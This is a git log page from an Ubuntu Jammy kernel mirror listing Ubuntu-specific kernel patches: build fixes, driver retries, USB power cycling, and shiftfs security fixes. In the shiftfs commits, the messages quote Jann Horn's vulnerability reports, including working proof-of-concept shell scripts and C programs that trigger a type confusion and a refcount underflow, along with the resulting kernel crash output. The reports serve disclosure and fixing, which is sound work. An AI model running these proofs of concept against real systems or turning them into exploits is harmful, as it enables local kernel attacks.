]> git.proxmox.com Git - mirror_ubuntu-jammy-kernel.git/log
mirror_ubuntu-jammy-kernel.git
2 years agoUBUNTU: SAUCE: hio: locally define disk_map_sector_rcu()
Paolo Pisati [Fri, 24 Apr 2020 11:50:32 +0000 (11:50 +0000)]
UBUNTU: SAUCE: hio: locally define disk_map_sector_rcu()

Commit "581e260 block: move block layer internals out of include/linux/genhd.h"
hid disk_map_sector_rcu() (and other blk APIs) from driver code, locally add
back the prototype.

Signed-off-by: Paolo Pisati <paolo.pisati@canonical.com>
2 years agoUBUNTU: SAUCE: hio: pass make_request ptr directly to blk_alloc_queue()
Paolo Pisati [Fri, 24 Apr 2020 09:59:50 +0000 (09:59 +0000)]
UBUNTU: SAUCE: hio: pass make_request ptr directly to blk_alloc_queue()

Commit "3d745ea block: simplify queue allocation" merged queue
allocation and callback setup in blk_alloc_queue(), fix the code
accordingly.

Signed-off-by: Paolo Pisati <paolo.pisati@canonical.com>
2 years agoUBUNTU: SAUCE: fix FTBFS in machine_real_restart()
Paolo Pisati [Wed, 22 Apr 2020 14:09:47 +0000 (14:09 +0000)]
UBUNTU: SAUCE: fix FTBFS in machine_real_restart()

(focal-amd64)ppisati@kathleen:~/linux$ make -j128
  DESCEND  objtool
  CALL    scripts/atomic/check-atomics.sh
  CALL    scripts/checksyscalls.sh
  CHK     include/generated/compile.h
  CC      arch/x86/kernel/reboot.o
  CHK     kernel/kheaders_data.tar.xz
arch/x86/kernel/reboot.o: warning: objtool: machine_real_restart()+0x63: retpoline_safe hint not an indirect jump/call
make[2]: *** [scripts/Makefile.build:275: arch/x86/kernel/reboot.o] Error 255
make[2]: *** Deleting file 'arch/x86/kernel/reboot.o'
make[1]: *** [scripts/Makefile.build:496: arch/x86/kernel] Error 2
make: *** [Makefile:1734: arch/x86] Error 2
make: *** Waiting for unfinished jobs....

Signed-off-by: Paolo Pisati <paolo.pisati@canonical.com>
2 years agoUBUNTU: SAUCE: early/late -- annotate indirect calls in early/late initialisation...
Andy Whitcroft [Tue, 20 Mar 2018 12:50:00 +0000 (12:50 +0000)]
UBUNTU: SAUCE: early/late -- annotate indirect calls in early/late initialisation code

BugLink: http://bugs.launchpad.net/bugs/1758856
Signed-off-by: Andy Whitcroft <apw@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: platform/x86: dell-uart-backlight: fix section mismatch warning
Paolo Pisati [Wed, 22 Apr 2020 13:20:47 +0000 (13:20 +0000)]
UBUNTU: SAUCE: platform/x86: dell-uart-backlight: fix section mismatch warning

...
WARNING: modpost: drivers/platform/x86/dell-uart-backlight.o(.text+0x979): Section mismatch in reference from the function dell_uart_bl_add() to the variable .init.rodata:dell_uart_backlight_alpha_platform
The function dell_uart_bl_add() references
the variable __initconst dell_uart_backlight_alpha_platform.
This is often because dell_uart_bl_add lacks a __initconst
annotation or the annotation of dell_uart_backlight_alpha_platform is wrong.

dell_uart_bl_add() was referencing an __initconst
dell_uart_backlight_alpha_platform variable without the __init annotation: fix it by removing __initconst

Signed-off-by: Paolo Pisati <paolo.pisati@canonical.com>
2 years agoUBUNTU: SAUCE: kselftest/runner: avoid using timeout if timeout is disabled
Andrea Righi [Thu, 26 Mar 2020 14:56:19 +0000 (15:56 +0100)]
UBUNTU: SAUCE: kselftest/runner: avoid using timeout if timeout is disabled

Avoid using /usr/bin/timeout unnecessarily if timeout is set to 0 in the
"settings" file for a specific test.

NOTE: this change prevents a syscall_restart failure in the seccomp
kselftest.

BugLink: https://bugs.launchpad.net/bugs/1870543
Signed-off-by: Andrea Righi <andrea.righi@canonical.com>
2 years agoUBUNTU: SAUCE: ptp: free ptp clock properly
Andrea Righi [Mon, 9 Mar 2020 17:22:40 +0000 (18:22 +0100)]
UBUNTU: SAUCE: ptp: free ptp clock properly

There is a bug in ptp_clock_unregister() where pps_unregister_source()
can free up resources needed by posix_clock_unregister() to properly
destroy a related sysfs device.

Fix this by calling pps_unregister_source() in ptp_clock_release().

See also:
commit 75718584cb3c ("ptp: free ptp device pin descriptors properly").

BugLink: https://bugs.launchpad.net/bugs/1864754
Fixes: a33121e5487b ("ptp: fix the race between the release of ptp_clock and cdev")
Tested-by: Piotr Morgwai KotarbiƄski <foss@morgwai.pl>
Signed-off-by: Andrea Righi <andrea.righi@canonical.com>
2 years agoUBUNTU: SAUCE: Input: i8042 - fix the selftest retry logic
You-Sheng Yang [Mon, 16 Mar 2020 09:27:21 +0000 (17:27 +0800)]
UBUNTU: SAUCE: Input: i8042 - fix the selftest retry logic

BugLink: https://bugs.launchpad.net/bugs/1866734
It returns -NODEV at the first selftest timeout, so the retry logic
doesn't work. Move the return outside of the while loop to make it real
retry 5 times before returns -ENODEV.

BTW, the origin loop will retry 6 times, also fix this.

Signed-off-by: You-Sheng Yang <vicamo.yang@canonical.com>
(backported from
https://lore.kernel.org/linux-input/20200310033640.14440-1-vicamo@gmail.com/)
Signed-off-by: Paolo Pisati <paolo.pisati@canonical.com>
2 years agoUBUNTU: hio -- remove duplicated MODULE_DEVICE_TABLE declaration
Colin Ian King [Tue, 17 Mar 2020 19:44:45 +0000 (19:44 +0000)]
UBUNTU: hio -- remove duplicated MODULE_DEVICE_TABLE declaration

The declaration is duplicated and will cause build failure when
building with clang. Remove it.

Signed-off-by: Colin Ian King <colin.king@canonical.com>
Signed-off-by: Paolo Pisati <paolo.pisati@canonical.com>
2 years agoUBUNTU: SAUCE: platform/x86: dell-uart-backlight: increase retry times
AceLan Kao [Wed, 12 Feb 2020 06:53:15 +0000 (14:53 +0800)]
UBUNTU: SAUCE: platform/x86: dell-uart-backlight: increase retry times

BugLink: https://bugs.launchpad.net/bugs/1862885
From ODM, scalar takes some time to activate panel during booting up,
it can't respond the UART commands within 1 seconds.
So, we add retry and wait 2 seconds for the response. But sometimes it
still fails to read the response.
During the boot up time, it sometimes takes more than 2 seconds to respond
the first command, so we enlarge the retry timeout from 2 seconds to 5
seconds to make sure we get the first response from scalar.

Signed-off-by: AceLan Kao <acelan.kao@canonical.com>
Acked-By: You-Sheng Yang <vicamo.yang@canonical.com>
Acked-by: Anthony Wong <anthony.wong@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: arm: fix build error in kvm tracepoint
Andrea Righi [Thu, 13 Feb 2020 16:00:46 +0000 (17:00 +0100)]
UBUNTU: SAUCE: arm: fix build error in kvm tracepoint

Signed-off-by: Andrea Righi <andrea.righi@canonical.com>
2 years agoUBUNTU: hio -- proc_create() requires a "struct proc_ops" in 5.6
Andrea Righi [Wed, 12 Feb 2020 09:39:42 +0000 (10:39 +0100)]
UBUNTU: hio -- proc_create() requires a "struct proc_ops" in 5.6

With d56c0d45f0e27f814e87a1676b6bdccccbc252e9 ("proc: decouple proc from
VFS with "struct proc_ops"") proc_create() requires a "struct proc_ops"
instead of a "struct file_operations". Change the code accordingly.

Signed-off-by: Andrea Righi <andrea.righi@canonical.com>
2 years agoUBUNTU: SAUCE: md/raid0: Use kernel specific layout
Stefan Bader [Wed, 15 Jan 2020 09:14:28 +0000 (10:14 +0100)]
UBUNTU: SAUCE: md/raid0: Use kernel specific layout

BugLink: https://bugs.launchpad.net/bugs/1850540
This allows to roll out the support for the alternate layout which
accidentally got introduced since kernel v3.14+ without causing
breakage on reboot. The real danger is moving between a 3.13 or
older kernel and any newer. This either has already happened and
the damage has potentially been done or is not yet immediate or
not happening at all (if the raid0 array was created by a 3.14+
kernel). So it is better to just warn from the kernel or once the
user-space tool supporting meta-data update gets rolled out, from
there as well.

Once user-space is in place an with a bit of waiting time this change
should get reverted later.

Signed-off-by: Stefan Bader <stefan.bader@canonical.com>
Acked-by: Marcelo Henrique Cerri <marcelo.cerri@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: shiftfs: prevent lower dentries from going negative during unlink
Christian Brauner [Fri, 17 Jan 2020 15:17:06 +0000 (16:17 +0100)]
UBUNTU: SAUCE: shiftfs: prevent lower dentries from going negative during unlink

BugLink: https://bugs.launchpad.net/bugs/1860041
All non-special files (For shiftfs this only includes fifos and - for
this case - unix sockets - since we don't allow character and block
devices to be created.) go through shiftfs_open() and have their dentry
pinned through this codepath preventing it from going negative. But
fifos don't use the shiftfs fops but rather use the pipefifo_fops which
means they do not go through shiftfs_open() and thus don't have their
dentry pinned that way. Thus, the lower dentries for such files can go
negative on unlink causing segfaults. The following C program can be
used to reproduce the crash:

 #include <stdio.h>
 #include <fcntl.h>
 #include <unistd.h>
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <unistd.h>
 #include <stdlib.h>

 int main(int argc, char *argv[])
 {
        struct stat stat;

        unlink("./bbb");

        int ret = mknod("./bbb", S_IFIFO|0666, 0);
        if (ret < 0)
                exit(1);

        int fd = open("./bbb", O_RDWR);
        if (fd < 0)
                exit(2);

        if (unlink("./bbb"))
                exit(4);

        fstat(fd, &stat);

        return 0;
 }

Similar to ecryptfs we need to dget() the lower dentry before calling
vfs_unlink() on it and dput() it afterwards.

Acked-by: Stefan Bader <stefan.bader@canonical.com>
Link: https://travis-ci.community/t/arm64-ppc64le-segfaults/6158/3
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
Signed-off-by: Christian Brauner <christian.brauner@ubuntu.com>
Acked-by: Stefan Bader <stefan.bader@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: platform/x86: dell-uart-backlight: add retry for get scalar status
AceLan Kao [Wed, 8 Jan 2020 07:59:45 +0000 (15:59 +0800)]
UBUNTU: SAUCE: platform/x86: dell-uart-backlight: add retry for get scalar status

BugLink: https://bugs.launchpad.net/bugs/1858761
Found on new platforms that UART require more than 1 second to respond
commands in the first 10 seconds after booted.
dell_uart_get_scalar_status() is the first command we send to scalar and
this command should be more reliable than other commands, and make sure
we got correct response from scalar. So, add retry and increase the read
timeout to 2 seconds.

Signed-off-by: AceLan Kao <acelan.kao@canonical.com>
Acked-by: Stefan Bader <stefan.bader@canonical.com>
Acked-by: Connor Kuehl <connor.kuehl@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: md/raid0: Link to wiki with guidance on multi-zone RAID0 layout migration
dann frazier [Wed, 18 Dec 2019 14:29:30 +0000 (07:29 -0700)]
UBUNTU: SAUCE: md/raid0: Link to wiki with guidance on multi-zone RAID0 layout migration

BugLink: https://bugs.launchpad.net/bugs/1850540
Helping an administrator understand this issue and how to deal with it
requires more text than achievable in a kernel error message. Let's
clarify the issue in the Ubuntu wiki, and have the kernel emit a link
to it.

I've submitted a similar change upstream:
  https://marc.info/?l=linux-raid&m=157360088014027&w=2
Should it get merged, we should consider replacing this patch with that one.
Otherwise, it is probably safe to drop this SAUCE patch after focal.

Signed-off-by: dann frazier <dann.frazier@canonical.com>
Acked-by: Stefan Bader <stefan.bader@canonical.com>
Acked-by: Marcelo Henrique Cerri <marcelo.cerri@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: USB: core: Attempt power cycle port when it's in eSS.Disabled state
Kai-Heng Feng [Thu, 5 Dec 2019 17:05:27 +0000 (01:05 +0800)]
UBUNTU: SAUCE: USB: core: Attempt power cycle port when it's in eSS.Disabled state

BugLink: https://bugs.launchpad.net/bugs/1855312
On Dell TB16, Realtek USB ethernet (r8152) connects to an SMSC hub which
then connects to ASMedia xHCI's root hub:

/:  Bus 04.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/2p, 5000M
    |__ Port 1: Dev 2, If 0, Class=Hub, Driver=hub/7p, 5000M
            |__ Port 2: Dev 3, If 0, Class=Vendor Specific Class, Driver=r8152, 5000M

Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
Bus 004 Device 002: ID 0424:5537 Standard Microsystems Corp. USB5537B
Bus 004 Device 003: ID 0bda:8153 Realtek Semiconductor Corp. RTL8153 Gigabit Ethernet Adapter

The SMSC hub may disconnect after system resume from suspend. When this
happens, the reset resume attempt fails, and the last resort to disable
the port and see something comes up later, also fails.

When the issue occurs, the link state stays in eSS.Disabled state
despite the warm reset attempts. Accoding to spec this can be caused by
invalid VBus, after some expiremets, the SMSC hub can be brought back
after a powercycle.

So let's power cycle the port at the end of reset resume attempt, if
it's in eSS.Disabled state.

Signed-off-by: Kai-Heng Feng <kai.heng.feng@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: USB: core: Make port power cycle a seperate helper function
Kai-Heng Feng [Thu, 5 Dec 2019 17:05:26 +0000 (01:05 +0800)]
UBUNTU: SAUCE: USB: core: Make port power cycle a seperate helper function

BugLink: https://bugs.launchpad.net/bugs/1855312
Add a new function, hub_port_power_cycle() to power cycle port's power.
It'll be used by a following patch.

In addition to that, check the return value of usb_hub_set_port_power(),
so we don't need to wait if the set power operation fails.

Furthermore, remove parameter *hdev from usb_hub_set_port_power(), since
we can get *hdev from *hub directly.

Signed-off-by: Kai-Heng Feng <kai.heng.feng@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: net: ena: fix too long default tx interrupt moderation interval
Arthur Kiyanovski [Mon, 4 Nov 2019 11:58:48 +0000 (13:58 +0200)]
UBUNTU: SAUCE: net: ena: fix too long default tx interrupt moderation interval

BugLink: https://bugs.launchpad.net/bugs/1853180
Current default non-adaptive tx interrupt moderation interval is 196 us.
This commit sets it to 0, which is much more sensible as a default value.
It can be modified using ethtool -C.

Signed-off-by: Arthur Kiyanovski <akiyano@amazon.com>
Reference: https://lore.kernel.org/netdev/1572868728-5211-1-git-send-email-akiyano@amazon.com/
Signed-off-by: Kamal Mostafa <kamal@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: Add exfat module to signature inclusion list
Andrea Righi [Thu, 5 Dec 2019 15:53:03 +0000 (16:53 +0100)]
UBUNTU: SAUCE: Add exfat module to signature inclusion list

Signed-off-by: Andrea Righi <andrea.righi@canonical.com>
2 years agoUBUNTU: SAUCE: shiftfs: Correct id translation for lower fs operations
Seth Forshee [Fri, 1 Nov 2019 18:35:25 +0000 (13:35 -0500)]
UBUNTU: SAUCE: shiftfs: Correct id translation for lower fs operations

BugLink: https://bugs.launchpad.net/bugs/1850867
Several locations which shift ids translate user/group ids before
performing operations in the lower filesystem are translating
them into init_user_ns, whereas they should be translated into
the s_user_ns for the lower filesystem. This will result in using
ids other than the intended ones in the lower fs, which will
likely not map into the shifts s_user_ns.

Change these sites to use shift_k[ug]id() to do a translation
into the s_user_ns of the lower filesystem.

Reported-by: Jann Horn <jannh@google.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
CVE-2019-15793

Acked-by: Tyler Hicks <tyhicks@canonical.com>
Signed-off-by: Stefan Bader <stefan.bader@canonical.com>
2 years agoUBUNTU: SAUCE: shiftfs: prevent type confusion
Christian Brauner [Fri, 1 Nov 2019 13:19:16 +0000 (14:19 +0100)]
UBUNTU: SAUCE: shiftfs: prevent type confusion

BugLink: https://bugs.launchpad.net/bugs/1850867
Verify filesystem type in shiftfs_real_fdget().

Quoting Jann Horn:
 #################### Bug 2: Type confusion ####################

 shiftfs_btrfs_ioctl_fd_replace() calls fdget(oldfd), then without further checks
 passes the resulting file* into shiftfs_real_fdget(), which does this:

 static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
 {
  struct shiftfs_file_info *file_info = file->private_data;
  struct file *realfile = file_info->realfile;

  lowerfd->flags = 0;
  lowerfd->file = realfile;

  /* Did the flags change since open? */
  if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
   return shiftfs_change_flags(lowerfd->file, file->f_flags);

  return 0;
 }

 file->private_data is a void* that points to a filesystem-dependent type; and
 some filesystems even use it to store a type-cast number instead of a pointer.
 The implicit cast to a "struct shiftfs_file_info *" can therefore be a bad cast.

 As a PoC, here I'm causing a type confusion between struct shiftfs_file_info
 (with ->realfile at offset 0x10) and struct mm_struct (with vmacache_seqnum at
 offset 0x10), and I use that to cause a memory dereference somewhere around
 0x4242:

 =======================================
 user@ubuntu1910vm:~/shiftfs_confuse$ cat run.sh
 #!/bin/sh
 sync
 unshare -mUr ./run2.sh
 user@ubuntu1910vm:~/shiftfs_confuse$ cat run2.sh
 #!/bin/sh
 set -e

 mkdir -p mnt/tmpfs
 mkdir -p mnt/shiftfs
 mount -t tmpfs none mnt/tmpfs
 mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs
 mount|grep shift
 gcc -o ioctl ioctl.c -Wall
 ./ioctl
 user@ubuntu1910vm:~/shiftfs_confuse$ cat ioctl.c
 #include <sys/ioctl.h>
 #include <fcntl.h>
 #include <err.h>
 #include <unistd.h>
 #include <linux/btrfs.h>
 #include <sys/mman.h>

 int main(void) {
   // make our vmacache sequence number something like 0x4242
   for (int i=0; i<0x4242; i++) {
     void *x = mmap((void*)0x100000000UL, 0x1000, PROT_READ,
         MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
     if (x == MAP_FAILED) err(1, "mmap vmacache seqnum");
     munmap(x, 0x1000);
   }

   int root = open("mnt/shiftfs", O_RDONLY);
   if (root == -1) err(1, "open shiftfs root");
   int foofd = open("/proc/self/environ", O_RDONLY);
   if (foofd == -1) err(1, "open foofd");
   // trigger the confusion
   struct btrfs_ioctl_vol_args iocarg = {
     .fd = foofd
   };
   ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg);
 }
 user@ubuntu1910vm:~/shiftfs_confuse$ ./run.sh
 none on /home/user/shiftfs_confuse/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000)
 /home/user/shiftfs_confuse/mnt/tmpfs on /home/user/shiftfs_confuse/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2)
 [ 348.103005] BUG: unable to handle page fault for address: 0000000000004289
 [ 348.105060] #PF: supervisor read access in kernel mode
 [ 348.106573] #PF: error_code(0x0000) - not-present page
 [ 348.108102] PGD 0 P4D 0
 [ 348.108871] Oops: 0000 [#1] SMP PTI
 [ 348.109912] CPU: 6 PID: 2192 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu
 [ 348.112109] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
 [ 348.114460] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs]
 [ 348.116166] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75
 [ 348.121578] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246
 [ 348.123097] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249
 [ 348.125174] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004
 [ 348.127222] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150
 [ 348.129288] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401
 [ 348.131358] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004
 [ 348.133421] FS: 00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000
 [ 348.135753] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
 [ 348.137413] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0
 [ 348.139451] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
 [ 348.141516] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
 [ 348.143545] Call Trace:
 [ 348.144272] shiftfs_ioctl+0x65/0x76 [shiftfs]
 [ 348.145562] do_vfs_ioctl+0x407/0x670
 [ 348.146620] ? putname+0x4a/0x50
 [ 348.147556] ksys_ioctl+0x67/0x90
 [ 348.148514] __x64_sys_ioctl+0x1a/0x20
 [ 348.149593] do_syscall_64+0x5a/0x130
 [ 348.150658] entry_SYSCALL_64_after_hwframe+0x44/0xa9
 [ 348.152108] RIP: 0033:0x7f77fa76767b
 [ 348.153140] Code: 0f 1e fa 48 8b 05 15 28 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d e5 27 0d 00 f7 d8 64 89 01 48
 [ 348.158466] RSP: 002b:00007ffd875582e8 EFLAGS: 00000217 ORIG_RAX: 0000000000000010
 [ 348.160610] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f77fa76767b
 [ 348.162644] RDX: 00007ffd87558310 RSI: 0000000050009401 RDI: 0000000000000003
 [ 348.164680] RBP: 00007ffd87559320 R08: 00000000ffffffff R09: 0000000000000000
 [ 348.167456] R10: 0000000000000000 R11: 0000000000000217 R12: 0000561c135ee100
 [ 348.169530] R13: 00007ffd87559400 R14: 0000000000000000 R15: 0000000000000000
 [ 348.171573] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm snd_hda_codec_generic irqbypass ledtrig_audio crct10dif_pclmul crc32_pclmul snd_hda_intel snd_hda_codec ghash_clmulni_intel snd_hda_core snd_hwdep aesni_intel aes_x86_64 snd_pcm crypto_simd cryptd glue_helper snd_seq_midi joydev snd_seq_midi_event snd_rawmidi snd_seq input_leds snd_seq_device snd_timer serio_raw qxl snd ttm drm_kms_helper mac_hid soundcore drm fb_sys_fops syscopyarea sysfillrect qemu_fw_cfg sysimgblt sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid psmouse i2c_i801 ahci virtio_net lpc_ich libahci net_failover failover virtio_blk
 [ 348.188617] CR2: 0000000000004289
 [ 348.189586] ---[ end trace dad859a1db86d660 ]---
 [ 348.190916] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs]
 [ 348.193401] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75
 [ 348.198713] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246
 [ 348.200226] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249
 [ 348.202257] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004
 [ 348.204294] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150
 [ 348.206324] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401
 [ 348.208362] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004
 [ 348.210395] FS: 00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000
 [ 348.212710] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
 [ 348.214365] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0
 [ 348.216409] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
 [ 348.218349] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
 Killed
 user@ubuntu1910vm:~/shiftfs_confuse$

Reported-by: Jann Horn <jannh@google.com>
Signed-off-by: Christian Brauner <christian.brauner@ubuntu.com>
[ saf: use f_op->open instead as special inodes in shiftfs sbs
  will not use shiftfs open f_ops ]
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
CVE-2019-15792

Acked-by: Tyler Hicks <tyhicks@canonical.com>
Signed-off-by: Stefan Bader <stefan.bader@canonical.com>
2 years agoUBUNTU: SAUCE: shiftfs: Fix refcount underflow in btrfs ioctl handling
Seth Forshee [Fri, 1 Nov 2019 15:41:03 +0000 (10:41 -0500)]
UBUNTU: SAUCE: shiftfs: Fix refcount underflow in btrfs ioctl handling

BugLink: https://bugs.launchpad.net/bugs/1850867
shiftfs_btrfs_ioctl_fd_replace() installs an fd referencing a
file from the lower filesystem without taking an additional
reference to that file. After the btrfs ioctl completes this fd
is closed, which then puts a reference to that file, leading to a
refcount underflow. Original bug report and test case from Jann
Horn is below.

Fix this, and at the sametime simplify the management of the fd
to the lower file for the ioctl. In
shiftfs_btrfs_ioctl_fd_replace(), take the missing reference to
the lower file and set FDPUT_FPUT so that this reference will get
dropped on fdput() in error paths. Do not maintain the struct fd
in the caller, as it the fd installed in the fd table is
sufficient to properly clean up. Finally, remove the fdput() in
shiftfs_btrfs_ioctl_fd_restore() as it is redundant with the
__close_fd() call.

Original report from Jann Horn:

In shiftfs_btrfs_ioctl_fd_replace() ("//" comments added by me):

 src = fdget(oldfd);
 if (!src.file)
  return -EINVAL;
 // src holds one reference (assuming multithreaded execution)

 ret = shiftfs_real_fdget(src.file, lfd);
 // lfd->file is a file* now, but shiftfs_real_fdget didn't take any
 // extra references
 fdput(src);
 // this drops the only reference we were holding on src, and src was
 // the only thing holding a reference to lfd->file. lfd->file may be
 // dangling at this point.
 if (ret)
  return ret;

 *newfd = get_unused_fd_flags(lfd->file->f_flags);
 if (*newfd < 0) {
  // always a no-op
  fdput(*lfd);
  return *newfd;
 }

 fd_install(*newfd, lfd->file);
 // fd_install() consumes a counted reference, but we don't hold any
 // counted references. so at this point, if lfd->file hasn't been freed
 // yet, its refcount is one lower than it ought to be.

 [...]

 // the following code is refcount-neutral, so the refcount stays one too
 // low.
 if (ret)
  shiftfs_btrfs_ioctl_fd_restore(cmd, *lfd, *newfd, arg, v1, v2);

shiftfs_real_fdget() is implemented as follows:

static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
{
 struct shiftfs_file_info *file_info = file->private_data;
 struct file *realfile = file_info->realfile;

 lowerfd->flags = 0;
 lowerfd->file = realfile;

 /* Did the flags change since open? */
 if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
  return shiftfs_change_flags(lowerfd->file, file->f_flags);

 return 0;
}

Therefore, the following PoC will cause reference count overdecrements; I ran it
with SLUB debugging enabled and got the following splat:

=======================================
user@ubuntu1910vm:~/shiftfs$ cat run.sh
sync
unshare -mUr ./run2.sh
t run2user@ubuntu1910vm:~/shiftfs$ cat run2.sh
set -e

mkdir -p mnt/tmpfs
mkdir -p mnt/shiftfs
mount -t tmpfs none mnt/tmpfs
mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs
mount|grep shift
touch mnt/tmpfs/foo
gcc -o ioctl ioctl.c -Wall
./ioctl
user@ubuntu1910vm:~/shiftfs$ cat ioctl.c

int main(void) {
  int root = open("mnt/shiftfs", O_RDONLY);
  if (root == -1) err(1, "open shiftfs root");
  int foofd = openat(root, "foo", O_RDONLY);
  if (foofd == -1) err(1, "open foofd");
  struct btrfs_ioctl_vol_args iocarg = {
    .fd = foofd
  };
  ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg);
  sleep(1);
  void *map = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0);
  if (map != MAP_FAILED) munmap(map, 0x1000);
}
user@ubuntu1910vm:~/shiftfs$ ./run.sh
none on /home/user/shiftfs/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000)
/home/user/shiftfs/mnt/tmpfs on /home/user/shiftfs/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2)
[ 183.463452] general protection fault: 0000 [#1] SMP PTI
[ 183.467068] CPU: 1 PID: 2473 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu
[ 183.472170] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
[ 183.476830] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
[ 183.478524] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
[ 183.484585] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206
[ 183.486290] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000
[ 183.489617] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400
[ 183.491975] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000
[ 183.494311] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0
[ 183.496675] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40
[ 183.499011] FS: 00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000
[ 183.501679] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 183.503568] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0
[ 183.505901] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 183.508229] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 183.510580] Call Trace:
[ 183.511396] mmap_region+0x417/0x670
[ 183.512592] do_mmap+0x3a8/0x580
[ 183.513655] vm_mmap_pgoff+0xcb/0x120
